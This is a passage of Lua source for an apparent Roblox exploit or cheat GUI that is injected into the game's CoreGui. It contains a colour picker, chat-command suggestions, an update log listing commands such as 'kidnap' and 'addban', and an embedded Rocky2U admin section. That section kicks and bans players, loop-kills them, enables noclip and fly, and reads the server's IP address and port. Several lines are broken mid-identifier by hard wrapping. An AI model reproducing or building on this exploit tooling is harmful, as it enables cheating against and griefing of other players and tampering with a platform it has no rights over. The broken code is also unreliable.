frame.ArrowFrame.Down.BackgroundTransparency = 0.5
elseif input.UserInputType ==
Enum.UserInputType.MouseButton1 then
local releaseEvent,runEvent
releaseEvent =
user.InputEnded:Connect(function(input)
if input.UserInputType ~=
Enum.UserInputType.MouseButton1 then return end
releaseEvent:Disconnect()
pressing = false
end)
startNum = startNum - 1
func(startNum)
while pressing do
if tick()-startTime > 0.3 then
startNum = startNum - 1
func(startNum)
end
wait(0.1)
end
end
end)
frame.ArrowFrame.Down.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement
then
frame.ArrowFrame.Down.BackgroundTransparency = 1
end
end)
end
colorSpace.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
local releaseEvent,mouseEvent
releaseEvent = user.InputEnded:Connect(function(input)
if input.UserInputType ~=
Enum.UserInputType.MouseButton1 then return end
releaseEvent:Disconnect()
mouseEvent:Disconnect()
end)
mouseEvent = user.InputChanged:Connect(function(input)
if input.UserInputType ==
Enum.UserInputType.MouseMovement then
colorSpaceInput()
end
end)
colorSpaceInput()
end
end)
colorStrip.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
local releaseEvent,mouseEvent
releaseEvent = user.InputEnded:Connect(function(input)
if input.UserInputType ~=
Enum.UserInputType.MouseButton1 then return end
releaseEvent:Disconnect()
mouseEvent:Disconnect()
end)
mouseEvent = user.InputChanged:Connect(function(input)
if input.UserInputType ==
Enum.UserInputType.MouseMovement then
colorStripInput()
end
end)
colorStripInput()
end
end)
local row = 0
local column = 0
for i,v in pairs(basicColors) do
local newColor = colorChoice:Clone()
newColor.BackgroundColor3 = v
newColor.Position = UDim2.new(0,1 + 30*column,0,21 + 23*row)
newColor.MouseButton1Click:Connect(function()
red,green,blue = v.r,v.g,v.b
local newColor = Color3.new(red,green,blue)
hue,sat,val = Color3.toHSV(newColor)
updateColor()
end)
newColor.Parent = basicColorsFrame
column = column + 1
if column == 6 then row = row + 1 column = 0 end
end
row = 0
column = 0
for i = 1,12 do
local color = customColors[i] or Color3.new(0,0,0)
local newColor = colorChoice:Clone()
newColor.BackgroundColor3 = color
newColor.Position = UDim2.new(0,1 + 30*column,0,20 + 23*row)
newColor.MouseButton1Click:Connect(function()
local curColor = customColors[i] or Color3.new(0,0,0)
red,green,blue = curColor.r,curColor.g,curColor.b
hue,sat,val = Color3.toHSV(curColor)
updateColor()
end)
newColor.MouseButton2Click:Connect(function()
customColors[i] = chosenColor
newColor.BackgroundColor3 = chosenColor
end)
newColor.Parent = customColorsFrame
column = column + 1
if column == 6 then row = row + 1 column = 0 end
end
pickerTopBar.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
local releaseEvent,mouseEvent
local dragOffX,dragOffY = mouse.X-
pickerTopBar.AbsolutePosition.X,mouse.Y-pickerTopBar.AbsolutePosition.Y
releaseEvent = user.InputEnded:Connect(function(input)
if input.UserInputType ~=
Enum.UserInputType.MouseButton1 then return end
releaseEvent:Disconnect()
mouseEvent:Disconnect()
end)
mouseEvent = user.InputChanged:Connect(function(input)
if input.UserInputType ==
Enum.UserInputType.MouseMovement then
pickerGui.Position = UDim2.new(0,mouse.X-
dragOffX,0,mouse.Y-dragOffY)
end
end)
end
end)
defaultButton.MouseButton1Click:Connect(function() if newMt.Default
then newMt:Default() end wait(0.6) pickerGui.Visible = false end)
defaultButton.InputBegan:Connect(function(input) if input.UserInputType
== Enum.UserInputType.MouseMovement then defaultButton.BackgroundTransparency = 0.4
end end)
defaultButton.InputEnded:Connect(function(input) if input.UserInputType
== Enum.UserInputType.MouseMovement then defaultButton.BackgroundTransparency = 0
end end)
rainbowButton.MouseButton1Click:Connect(function() if newMt.Rainbow
then newMt:Rainbow() end end)
rainbowButton.InputBegan:Connect(function(input) if input.UserInputType
== Enum.UserInputType.MouseMovement then rainbowButton.BackgroundTransparency = 0.4
end end)
rainbowButton.InputEnded:Connect(function(input) if input.UserInputType
== Enum.UserInputType.MouseMovement then rainbowButton.BackgroundTransparency = 0
end end)
updateColor()
newMt.SetColor = function(self,color)
red,green,blue = color.r,color.g,color.b
hue,sat,val = Color3.toHSV(color)
updateColor()
end
return newMt
end
end
local rainbowCount = 50
local rainbowGuiActive = false
local rainbowreset = true
spawn(function()
local colors = {
BrickColor.Red(),
BrickColor.Yellow(),
BrickColor.new('Lime green'),
BrickColor.new('Cyan'),
BrickColor.new('Dark indigo')
}
while wait() do
for i,v in pairs(colors) do
for num = 1,rainbowCount do
if rainbowGuiActive == true then
local mimic = i-1
if not colors[mimic] then
mimic = #colors
end
mimic = colors[mimic]
updatecolors(mimic.Color:Lerp(v.Color,num/rainbowCount))
elseif rainbowreset == false then
updatecolors(SAVEDCOLOR)
rainbowreset = true
end
wait()
end
end
end
end)
local picker = ColorPicker.new()
picker.Confirm = function(self,color) PKR:TweenPosition(UDim2.new(0.5, -219, 0, -
500), "InOut", "Quart", 0.5, true, nil) SAVEDCOLOR = color updatecolors(color)
updatefile() end
picker.Changed = function(self,color) updatecolors(color) end
picker.Rainbow = function(self)
if rainbowGuiActive == false then
rainbowGuiActive = true
rainbowButton.Text = 'Rainbow [Enabled]'
elseif rainbowGuiActive == true then
rainbowGuiActive = false
rainbowreset = false
rainbowButton.Text = 'Rainbow [Disabled]'
end end
picker.Cancel = function(self) PKR:TweenPosition(UDim2.new(0.5, -219, 0, -500),
"InOut", "Quart", 0.5, true, nil) updatecolors(SAVEDCOLOR) end
picker.Default = function(self) PKR:TweenPosition(UDim2.new(0.5, -219, 0, -500),
"InOut", "Quart", 0.5, true, nil) updatecolors(Color3.new(0.121569, 0.121569,
0.121569))
colorR = 0.121569 colorG = 0.121569 colorB = 0.121569 SAVEDCOLOR =
Color3.new(0.121569, 0.121569, 0.121569) updatefile() end
SAVEDCOLOR = Color3.new(colorR, colorG, colorB)
local sugg = Instance.new("ScreenGui") local suggestions = Instance.new("Frame")
local Title = Instance.new("TextLabel")
local SUG = Instance.new("ScrollingFrame") sugg.Name = "sugg" sugg.Parent =
game.CoreGui
suggestions.Name = "suggestions" suggestions.Parent = sugg
suggestions.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
suggestions.BackgroundTransparency = 0.5 suggestions.BorderColor3 = Color3.new(0,
0, 0) suggestions.BorderSizePixel = 0
suggestions.ClipsDescendants = true suggestions.Position = UDim2.new(-
0.000715821981, 1, 1.03197157, -200) suggestions.Size = UDim2.new(0, 300, 0, 182)
Title.Name = "Title" Title.Parent = suggestions Title.BackgroundColor3 =
Color3.new(0.639216, 0.635294, 0.647059) Title.BackgroundTransparency = 1
Title.Size = UDim2.new(1, 0, 0, 30) Title.Font = Enum.Font.SourceSansBold
Title.FontSize = Enum.FontSize.Size24 Title.Text = "Suggestions"
Title.TextColor3 = Color3.new(0.980392, 0.980392, 0.980392) SUG.Name = "SUG"
SUG.Parent = suggestions
SUG.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
SUG.BackgroundTransparency = 1 SUG.BorderColor3 = Color3.new(0.0666667, 0.0666667,
0.0666667)
SUG.BorderSizePixel = 0 SUG.Position = UDim2.new(0, 7, 0, 40) SUG.Size =
UDim2.new(0, 293, 0, 130) SUG.BottomImage =
"rbxasset://textures/blackBkg_square.png"
SUG.CanvasSize = UDim2.new(0, 0, 0, 5160) SUG.MidImage =
"rbxasset://textures/blackBkg_square.png" SUG.ScrollBarThickness = 8 SUG.TopImage =
"rbxasset://textures/blackBkg_square.png"
local CMDsV = CMDsFolder:GetChildren() for i = 1, #CMDsV do local YSize = 25 local
Position = ((i * YSize) - YSize) local newcmd = Example:Clone() newcmd.Parent = SUG
newcmd.Visible = true newcmd.Position = UDim2.new(0,5,0, Position + 5) newcmd.Text
= "" .. CMDsV[i].Value SUG.CanvasSize = UDim2.new(0,0,0, Position + 30) end
local CSP2 = game.CoreGui.sugg.suggestions
local main2 = CSP2
local frame2 = CSP2:WaitForChild('SUG')
Match2 = function(name,str) return name:lower():find(str:lower()) and true end
IndexContents2 = function(str,bool)
if suggestionstoggle == true then
if string.find(str, " ") then
game.CoreGui.sugg.suggestions:TweenSize(UDim2.new(0, 300, 0,
0),"Out","Quad",0.2,true) else
local Index,SizeY = 0,0
for i,v in next, frame2:GetChildren() do
if bool then
if Match2(v.Text,str) then
game.CoreGui.sugg.suggestions:TweenSize(UDim2.new(0, 300,
0, 200),"Out","Quad",0.3,true)
Index = Index + 1
v.Position = UDim2.new(0,0,0,Index*v.AbsoluteSize.Y-
v.AbsoluteSize.Y)
v.Visible = true
SizeY = SizeY + v.AbsoluteSize.Y
frame2.CanvasSize = UDim2.new(0,0,0,SizeY) else v.Visible =
false end else
v.Visible = true
SizeY = SizeY + v.AbsoluteSize.Y
frame2.CanvasSize = UDim2.new(0,0,0,SizeY) end end end end end
IndexContents2('',true)
game.CoreGui.sugg.suggestions:TweenSize(UDim2.new(0, 300, 0,
0),"Out","Quad",0.2,true)
Loading.ba:TweenSize(UDim2.new(1, 0, 1, 0), "InOut", "Quart", 0.4, true, nil)
wait(1)
repeat wait() until loadedintro == true
logof:TweenSizeAndPosition(UDim2.new(0,0,0,0),UDim2.new(0.5,0,0.5,0), "Out",
"Linear", 0.1)
wait(0.2)
f:TweenSizeAndPosition(UDim2.new(0,0,0,0),UDim2.new(0.5,0,0.5,0), "Out", "Linear",
0.2)
wait(0.3) g:Destroy()
updatecolors(Color3.new(colorR, colorG, colorB))
Loading:TweenPosition(UDim2.new(0.25, 0, 1.5, 0), "InOut", "Quart", 0.5, true, nil)
wait(0.5) Loading.Parent:Destroy()
if gPlayers.LocalPlayer.PlayerGui:FindFirstChild("Chat") and
gPlayers.LocalPlayer.PlayerGui.Chat:FindFirstChild("Frame") and
gPlayers.LocalPlayer.PlayerGui.Chat.Frame:FindFirstChild("ChatBarParentFrame") and
gPlayers.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame:FindFirstChild("Frame"
) and
gPlayers.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame.Frame:FindFirstChild("
BoxFrame") then
function chatboxx() local chatbox =
gPlayers.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.C
hatBar chatbox.Changed:connect(function (property) if suggestionstoggle == true and
property == "Text" then
if
gPlayers.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.C
hatBar.Text:lower():sub(1,1) == cmdprefix then
IndexContents2(gPlayers.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame.Frame.B
oxFrame.Frame.ChatBar.Text:lower():sub(2),true)
else game.CoreGui.sugg.suggestions:TweenSize(UDim2.new(0, 300, 0,
0),"Out","Quad",0.2,true) end end end) end chatboxx()
gPlayers.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame.ChildAdded:Connect(fun
ction(newbar)
if newbar:FindFirstChild('BoxFrame') then
chatboxx() end end)
LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Frame_MessageLogDisplay.Scroller.Can
vasPosition = Vector2.new(0, 9999999999999999999999999999999999999999999, 0, 0)
coroutine.resume(coroutine.create(function()
if script.ClassName == "LocalScript" then
game.StarterGui:SetCore("ChatMakeSystemMessage", {
Text = "The prefix is '" .. cmdprefix .. "'";
Color = Color3.new(255,255,255);
Font = Enum.Font.SourceSans;
FontSize = Enum.FontSize.Size24;
}) wait(0.5)
game.StarterGui:SetCore("ChatMakeSystemMessage", {
Text = "Click IY on the top left to see more options";
Color = Color3.new(255,255,255);
Font = Enum.Font.SourceSans;
FontSize = Enum.FontSize.Size24;
}) end end))
else print('Custom chat detected. Will not provide suggestions for the chat.') end
quickmenu.sheild.cmds:TweenPosition(UDim2.new(0, 50, 0, -50), "InOut", "Quart",
0.5, true, nil) wait(0.01)
quickmenu.sheild.settings:TweenPosition(UDim2.new(0, 146, 0, -50), "InOut",
"Quart", 0.5, true, nil) wait(0.01)
quickmenu.sheild.updates:TweenPosition(UDim2.new(0, 220, 0, -50), "InOut", "Quart",
0.5, true, nil) wait(0.01)
quickmenu.sheild.info:TweenPosition(UDim2.new(0, 290, 0, -50), "InOut", "Quart",
0.5, true, nil) wait(0.01)
quickmenu.sheild.mix:TweenPosition(UDim2.new(0, 340, 0, -50), "InOut", "Quart",
0.5, true, nil) wait(0.01)
qopen = false quickmenu.MouseButton1Click:connect(function()
if qopen == false then fadelock('off')
NOTIFY.NOTIFY:TweenPosition(UDim2.new(0,0,0,-100), "InOut", "Quart", 0.5, true,
nil)
quickmenu.sheild.cmds:TweenPosition(UDim2.new(0, 50, 0, 0), "InOut", "Quart", 0.5,
true, nil) wait(0.01)
quickmenu.sheild.settings:TweenPosition(UDim2.new(0, 146, 0, 0), "InOut", "Quart",
0.5, true, nil) wait(0.01)
quickmenu.sheild.updates:TweenPosition(UDim2.new(0, 220, 0, 0), "InOut", "Quart",
0.5, true, nil) wait(0.01)
quickmenu.sheild.mix:TweenPosition(UDim2.new(0, 340, 0, 0), "InOut", "Quart", 0.5,
true, nil) wait(0.01) MusicPlayer:Hide()
quickmenu.sheild.info:TweenPosition(UDim2.new(0, 290, 0, 0), "InOut", "Quart", 0.5,
true, nil) wait(0.01)
quickmenu.sheild.mix:TweenPosition(UDim2.new(0, 340, 0, 0), "InOut", "Quart", 0.5,
true, nil) wait(0.01) qopen = true else
quickmenu.sheild.cmds:TweenPosition(UDim2.new(0, 50, 0, -50), "InOut", "Quart",
0.5, true, nil) wait(0.01)
quickmenu.sheild.settings:TweenPosition(UDim2.new(0, 146, 0, -50), "InOut",
"Quart", 0.5, true, nil) wait(0.01)
quickmenu.sheild.updates:TweenPosition(UDim2.new(0, 220, 0, -50), "InOut", "Quart",
0.5, true, nil) wait(0.01)
quickmenu.sheild.info:TweenPosition(UDim2.new(0, 290, 0, -50), "InOut", "Quart",
0.5, true, nil) wait(0.01)
quickmenu.sheild.mix:TweenPosition(UDim2.new(0, 340, 0, -50), "InOut", "Quart",
0.5, true, nil) wait(0.01)
if slock == true then fadelock("rbxassetid://1495252742") elseif isagelocked ==
true then fadelock("rbxassetid://1495252495") end
qopen = false if playerenabled == true then MusicPlayer:Show() else
NOTIFY.NOTIFY:TweenPosition(UDim2.new(0, 0, 0, -38), "InOut", "Quart", 0.5, true,
nil) end end end)
quickmenu.sheild.cmds.MouseButton1Click:connect(function() if cmdOpen == true then
game.CoreGui.cp.Frame.holder.FeedbackMain:TweenPosition(UDim2.new(1.02,0,1.018,-
310),"Out","Quad",0.2,true) wait(0.1)
game.CoreGui.cp.Frame.holder.size:TweenPosition(UDim2.new(1,-301,1,-
300),"Out","Quad",0.2,true) wait(0.2)
game.CoreGui.cp.Frame.holder.bar.Hide.Visible = true
game.CoreGui.cp.Frame.holder.bar.Hide:TweenSize(UDim2.new(0,20,0,20),"Out","Quad",0
.2,true)
else runwindow() end end)
quickmenu.sheild.settings.MouseButton1Click:connect(function() hub() end)
infopen = false quickmenu.sheild.info.MouseButton1Click:connect(function() if
infopen == false then infopen = true
Updates = Instance.new("ScreenGui")
dragg = Instance.new("Frame")
local PromptDialog = Instance.new("Frame")
local ContainerFrame = Instance.new("Frame")
local LOG = Instance.new("TextLabel")
local PopupText3 = Instance.new("TextLabel")
local PopupText4 = Instance.new("TextLabel")
local UTDV = Instance.new("TextLabel")
local PopupText5 = Instance.new("TextLabel")
local shadow = Instance.new("Frame")
Exitt = Instance.new("TextButton")
local PopupText = Instance.new("TextLabel")
local vers = Instance.new("TextLabel")
Updates.Name = "Updates"
Updates.Parent = game.CoreGui
dragg.Name = "drag"
dragg.Parent = Updates
dragg.Active = true
dragg.BackgroundColor3 = Color3.new(1, 1, 1)
dragg.BackgroundTransparency = 1
dragGUI(dragg)
dragg.Position = UDim2.new(0.5, -225, 0, -600)
dragg.Size = UDim2.new(0, 438, 0, 26)
PromptDialog.Name = "PromptDialog"
PromptDialog.Parent = dragg
PromptDialog.BackgroundColor3 = Color3.new(0, 0, 0)
PromptDialog.BackgroundTransparency = 1
PromptDialog.BorderSizePixel = 0
PromptDialog.Position = UDim2.new(0, 0, 0, -2)
PromptDialog.Size = UDim2.new(0, 438, 0, 300)
PromptDialog.ZIndex = 5
ContainerFrame.Name = "ContainerFrame"
ContainerFrame.Parent = PromptDialog
ContainerFrame.BackgroundColor3 = maincolor
ContainerFrame.BackgroundTransparency = 0.5
ContainerFrame.BorderColor3 = Color3.new(0, 0, 0)
ContainerFrame.BorderSizePixel = 0
ContainerFrame.Position = UDim2.new(0, 0, 0, 29)
ContainerFrame.Size = UDim2.new(1, 0, 0.8, 0) -- SIZE
ContainerFrame.ZIndex = 5
LOG.Name = "LOG"
LOG.Parent = ContainerFrame
LOG.BackgroundTransparency = 1
LOG.Position = UDim2.new(0, 8, 0, 110)
LOG.Size = UDim2.new(1, -16, 1, 0)
LOG.ZIndex = 10
LOG.Font = Enum.Font.SourceSansBold
LOG.TextSize = 20
LOG.Text = "+ Added os [plr]\n+ Added whiteify/blackify [plr]\n+ Added addban [full
username]\n+ Added a rainbow mode to the UI (inside color picker)\n\n* Fixed a bug
in kidnap"
LOG.TextColor3 = Color3.new(0.97, 0.97, 0.97)
LOG.TextStrokeTransparency = 0
LOG.TextWrapped = true
LOG.TextYAlignment = Enum.TextYAlignment.Top
LOG.TextXAlignment = "Left"
PopupText3.Name = "PopupText3"
PopupText3.Parent = ContainerFrame
PopupText3.BackgroundTransparency = 1
PopupText3.Position = UDim2.new(0, 8, 0, 35)
PopupText3.Size = UDim2.new(1, -16, 0.100000001, 0)
PopupText3.ZIndex = 10
PopupText3.Font = Enum.Font.SourceSansBold
PopupText3.TextSize = 20
PopupText3.Text = "Edge - Moon"
PopupText3.TextColor3 = Color3.new(0.97, 0.97, 0.97)
PopupText3.TextStrokeTransparency = 0
PopupText3.TextWrapped = true
PopupText3.TextYAlignment = Enum.TextYAlignment.Top
PopupText4.Name = "PopupText4"
PopupText4.Parent = ContainerFrame
PopupText4.BackgroundTransparency = 1
PopupText4.Position = UDim2.new(0, 8, 0, 50)
PopupText4.Size = UDim2.new(1, -16, 0.100000001, 0)
PopupText4.ZIndex = 10
PopupText4.Font = Enum.Font.SourceSansBold
PopupText4.FontSize = Enum.FontSize.Size18
PopupText4.Text = "infyield.weebly.com - discord.me/infiniteyield"
PopupText4.TextColor3 = Color3.new(0.97, 0.97, 0.97)
PopupText4.TextStrokeTransparency = 0
PopupText4.TextWrapped = true
PopupText4.TextYAlignment = Enum.TextYAlignment.Top
UTDV.Name = "UTDV"
UTDV.Parent = ContainerFrame
UTDV.BackgroundTransparency = 1
UTDV.Position = UDim2.new(0, 8, 0, 5)
UTDV.Size = UDim2.new(1, -16, 0.100000001, 0)
UTDV.ZIndex = 10
UTDV.Font = Enum.Font.SourceSansBold
UTDV.FontSize = Enum.FontSize.Size28
UTDV.Text = "Up to date version: N/A"
UTDV.TextColor3 = Color3.new(0.97, 0.97, 0.97)
UTDV.TextStrokeTransparency = 0
UTDV.TextWrapped = true
UTDV.TextYAlignment = Enum.TextYAlignment.Top
PopupText5.Name = "PopupText5"
PopupText5.Parent = ContainerFrame
PopupText5.BackgroundTransparency = 1
PopupText5.Position = UDim2.new(0, 8, 0, 75)
PopupText5.Size = UDim2.new(1, -16, 0.100000001, 0)
PopupText5.ZIndex = 10
PopupText5.Font = Enum.Font.SourceSansBold
PopupText5.FontSize = Enum.FontSize.Size28
PopupText5.Text = "Update Log:"
PopupText5.TextColor3 = Color3.new(0.97, 0.97, 0.97)
PopupText5.TextStrokeTransparency = 0
PopupText5.TextWrapped = true
PopupText5.TextYAlignment = Enum.TextYAlignment.Top
shadow.Name = "shadow"
shadow.Parent = PromptDialog
shadow.BackgroundColor3 = maincolor
shadow.BackgroundTransparency = 0.30000001192093
shadow.BorderColor3 = Color3.new(0, 0, 0)
shadow.BorderSizePixel = 0
shadow.Position = UDim2.new(0, 0, 0.00999999978, 0)
shadow.Size = UDim2.new(0, 438, 0, 26)
Exitt.Name = "Exit"
Exitt.Parent = shadow
Exitt.BackgroundColor3 = Color3.new(1, 0, 0)
Exitt.BackgroundTransparency = 0.30000001192093
Exitt.BorderColor3 = Color3.new(1, 0, 0)
Exitt.BorderSizePixel = 0
Exitt.Position = UDim2.new(0, 415, 0, 3)
Exitt.Size = UDim2.new(0, 20, 0, 20)
Exitt.FontSize = Enum.FontSize.Size14
Exitt.Text = ""
PopupText.Name = "PopupText"
PopupText.Parent = shadow
PopupText.BackgroundTransparency = 1
PopupText.Position = UDim2.new(0, 61, 0, -2)
PopupText.Size = UDim2.new(0.760273993, -16, 1.15384614, 0)
PopupText.ZIndex = 110
PopupText.Font = Enum.Font.SourceSansBold
PopupText.TextSize = 30
PopupText.Text = "Information"
PopupText.TextColor3 = Color3.new(0.97, 0.97, 0.97)
PopupText.TextStrokeTransparency = 0
PopupText.TextWrapped = true
PopupText.TextYAlignment = Enum.TextYAlignment.Top
vers.Name = "vers"
vers.Parent = shadow
vers.BackgroundTransparency = 1
vers.Position = UDim2.new(0, 8, 0, 2)
vers.Size = UDim2.new(0.200913236, -16, 1.11538458, 0)
vers.ZIndex = 110
vers.Font = Enum.Font.SourceSansBold
vers.TextSize = 20
vers.Text = "v" .. Version
vers.TextColor3 = Color3.new(0.97, 0.97, 0.97)
vers.TextStrokeTransparency = 0
vers.TextWrapped = true
vers.TextXAlignment = Enum.TextXAlignment.Left
vers.TextYAlignment = Enum.TextYAlignment.Top
if UTD == true then UTDV.Text = "Up to date version: Yes" else UTDV.Text = "Up to
date version: No" end end
dragg:TweenPosition(UDim2.new(0.5, -225, 0, 100), "InOut", "Quart", 0.5, true, nil)
Exitt.MouseButton1Click:connect(function()
dragg:TweenPosition(UDim2.new(0.5, -225, 0, -600), "InOut", "Quart", 0.5, true,
nil) wait(0.5) infopen = false Updates:Destroy() end) end)
quickmenu.sheild.updates.MouseButton1Click:connect(function() serverinfogui() end)
end
Options.Name = "Options"
Options.Parent = Admin
Options.BackgroundColor3 = Color3.new(1, 1, 1)
Options.BackgroundTransparency = 1
Options.Position = UDim2.new(-0.0198863633, 0, 0.22807017, 0)
Options.Size = UDim2.new(0, 352, 0, 32)
Options.Font = Enum.Font.Cartoon
Options.Text = "Options-"
Options.TextColor3 = Color3.new(0, 0, 0)
Options.TextScaled = true
Options.TextSize = 14
Options.TextWrapped = true
Rocky2U.Name = "Rocky2U"
Rocky2U.Parent = Admin
Rocky2U.BackgroundColor3 = Color3.new(0.666667, 0, 0)
Rocky2U.Position = UDim2.new(0.536931813, 0, 0.362573057, 0)
Rocky2U.Size = UDim2.new(0, 147, 0, 39)
Rocky2U.Font = Enum.Font.Cartoon
Rocky2U.Text = "Rocky2U"
Rocky2U.TextColor3 = Color3.new(0, 0, 0)
Rocky2U.TextScaled = true
Rocky2U.TextSize = 14
Rocky2U.TextWrapped = true
Rocky2U.MouseButton1Down:connect(function()
--Rocky2u admin - fixed by Autumn (thanks <3), updated for Raindrop by 3dsboy08
--[[
____ _ ____ _ ____ __ __ ____
| _ \ ___ ___| | ___ _|___ \ _ _( )___ / ___| \/ | _ \ ___
| |_) / _ \ / __| |/ / | | | __) | | | |// __| | | | |\/| | | | / __|
| _ < (_) | (__| <| |_| |/ __/| |_| | \__ \ | |___| | | | |_| \__ \
|_| \_\___/ \___|_|\_\\__, |_____|\__,_| |___/ \____|_| |_|____/|___/
|___/
--]]
local ADMINS = {}
local BANS = {}
local LP = _PLAYERS.LocalPlayer
local MOUSE = LP:GetMouse()
local SERVICES = {}
SERVICES.EVENTS = {}
local COMMANDS = {}
local STD = {}
local JAILED = {}
local KICKS = {}
local LOOPED_H = {}
local LOOPED_K = {}
local IP = ''
local PORT = ''
if _NETWORK:FindFirstChild('ClientReplicator') then
IP = _NETWORK.ClientReplicator.MachineAddress
PORT = _NETWORK.ClientReplicator.Port
end
function GLS(LOWER, START) local AA = '' for i,v in pairs(CA) do if i > START then
if AA ~= '' then AA = AA .. ' ' .. v else AA = AA .. v end end end if not LOWER
then return AA else return string.lower(AA) end end
function C3(R, G, B) return Color3.new(R/255, G/255, B/255) end
function GET_MASS(A, B) B = 0 for i,v in pairs(A:GetChildren()) do if
v:IsA('BasePart') then B = B + v:GetMass() end GET_MASS(v) end return B end
_PLAYERS.PlayerAdded:connect(function(PLAYER)
if SERVER_LOCKED then PLAYER.CharacterAdded:connect(function()
table.insert(KICKS, PLAYER) return end) end
if FIND_IN_TABLE(BANS, PLAYER.userId) then
PLAYER.CharacterAdded:connect(function() table.insert(KICKS, PLAYER) return end)
end
UPDATE_CHAT(PLAYER)
if CHECK_ADMIN(PLAYER) then PLAYER.CharacterAdded:connect(function()
game.Chat:Chat(PLAYER.Character.Head, STUFF .. 'Welcome, you\'re an admin!') end)
end
end)
game:GetService('RunService').Stepped:connect(function()
for i,v in pairs(_PLAYERS:GetPlayers()) do
if FIND_IN_TABLE(KICKS, v) then KICK(v) end
if FIND_IN_TABLE(LOOPED_H, v.Name) then
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
end
if FIND_IN_TABLE(LOOPED_K, v.Name) then
v.Character:BreakJoints()
end
end
if NOCLIP then
if LP.Character:FindFirstChild('Humanoid') then
LP.Character.Humanoid:ChangeState(11) end
elseif JESUSFLY then
if LP.Character:FindFirstChild('Humanoid') then
LP.Character.Humanoid:ChangeState(12) end
elseif SWIM then
if LP.Character:FindFirstChild('Humanoid') then
LP.Character.Humanoid:ChangeState(4) end
end
end)
local SI = 'rbxasset://textures/blackBkg_square.png'
function LOAD_DATA()
local DATA = Instance.new('Folder')
CMD_BAR_H.Parent = _CORE
end
local RS = game:GetService('RunService').RenderStepped
function OPEN_MAIN()
SETH_MAIN = MAIN_GUI:Clone()
function UPDATE_ADMINS()
HOLDERS.admins:ClearAllChildren()
HOLDERS.admins.CanvasSize = UDim2.new(0, 0, 0, 0)
local Y_ADMINS = 5
for i,v in pairs(ADMINS) do
NEW'TextLabel'{Name = v, BackgroundColor3 = C3(255, 255, 255),
BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, Y_ADMINS), Size =
UDim2.new(1, -30, 0, 25), Font = 'SourceSansBold', TextColor3 = C3(0, 0, 0),
TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent =
HOLDERS.admins}
NEW'TextButton'{Name = 'update', BackgroundColor3 = C3(255, 50,
50), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(1, 0,
0, 0), Size = UDim2.new(0, 25, 0, 25), Text = '', Parent = HOLDERS.admins[v]}
HOLDERS.admins[v].update.MouseButton1Down:connect(function()
table.remove(ADMINS, i)
UPDATE_ADMINS()
end)
HOLDERS.admins.CanvasSize = HOLDERS.admins.CanvasSize +
UDim2.new(0, 0, 0, 30)
Y_ADMINS = Y_ADMINS + 30
end
HOLDERS.admins.CanvasSize = HOLDERS.admins.CanvasSize + UDim2.new(0, 0,
0, 5)
spawn(function()
for i,v in pairs(HOLDERS.admins:GetChildren()) do
v.Text = ' ' .. _PLAYERS:GetNameFromUserIdAsync(v.Name)
end
end)
end
UPDATE_ADMINS()
function UPDATE_BANS()
HOLDERS.bans:ClearAllChildren()
HOLDERS.bans.CanvasSize = UDim2.new(0, 0, 0, 0)
local Y_BANS = 5
for i,v in pairs(BANS) do
NEW'TextLabel'{Name = v, BackgroundColor3 = C3(255, 255, 255),
BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, Y_BANS), Size =
UDim2.new(1, -30, 0, 25), Font = 'SourceSansBold', Text = '', TextColor3 = C3(0, 0,
0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent =
HOLDERS.bans}
NEW'TextButton'{Name = 'update', BackgroundColor3 = C3(255, 50,
50), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(1, 0,
0, 0), Size = UDim2.new(0, 25, 0, 25), Text = '', Parent = HOLDERS.bans[v]}
HOLDERS.bans[v].update.MouseButton1Down:connect(function()
table.remove(BANS, i)
UPDATE_BANS()
end)
HOLDERS.bans.CanvasSize = HOLDERS.bans.CanvasSize + UDim2.new(0,
0, 0, 30)
Y_BANS = Y_BANS + 30
end
HOLDERS.bans.CanvasSize = HOLDERS.bans.CanvasSize + UDim2.new(0, 0, 0,
5)
spawn(function()
for i,v in pairs(HOLDERS.bans:GetChildren()) do
v.Text = ' ' .. _PLAYERS:GetNameFromUserIdAsync(v.Name)
end
end)
end
UPDATE_BANS()
HOLDERS.search.Changed:connect(function()
if SETH_MAIN:FindFirstChild('main') and
SETH_MAIN.main.holder.holders:FindFirstChild('search') then
if HOLDERS.search.Text ~= 'search commands' and HOLDERS.search.Focused
then
if HOLDERS.search.Text ~= '' then
if not HOLDERS.search.Text:find(' ') then
HOLDERS.cmds:ClearAllChildren()
HOLDERS.cmds.CanvasSize = UDim2.new(0, 0, 0, 0)
local Y_COMMANDS = 0
for i,v in pairs(COMMANDS) do
if v.N:find(HOLDERS.search.Text) then
HOLDERS.cmds.CanvasSize =
HOLDERS.cmds.CanvasSize + UDim2.new(0, 0, 0, 25)
NEW'TextLabel'{Name = '',
BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Position =
UDim2.new(0, 0, 0, Y_COMMANDS), Size = UDim2.new(1, 0, 0, 25), Font =
'SourceSansBold', Text = ' ' .. v.D, TextColor3 = C3(0, 0, 0), TextSize = 24,
TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.cmds}
HOLDERS.changelog.CanvasSize =
HOLDERS.changelog.CanvasSize + UDim2.new(0, 0, 0, 25)
Y_COMMANDS = Y_COMMANDS + 25
end
end
end
else
HOLDERS.cmds:ClearAllChildren()
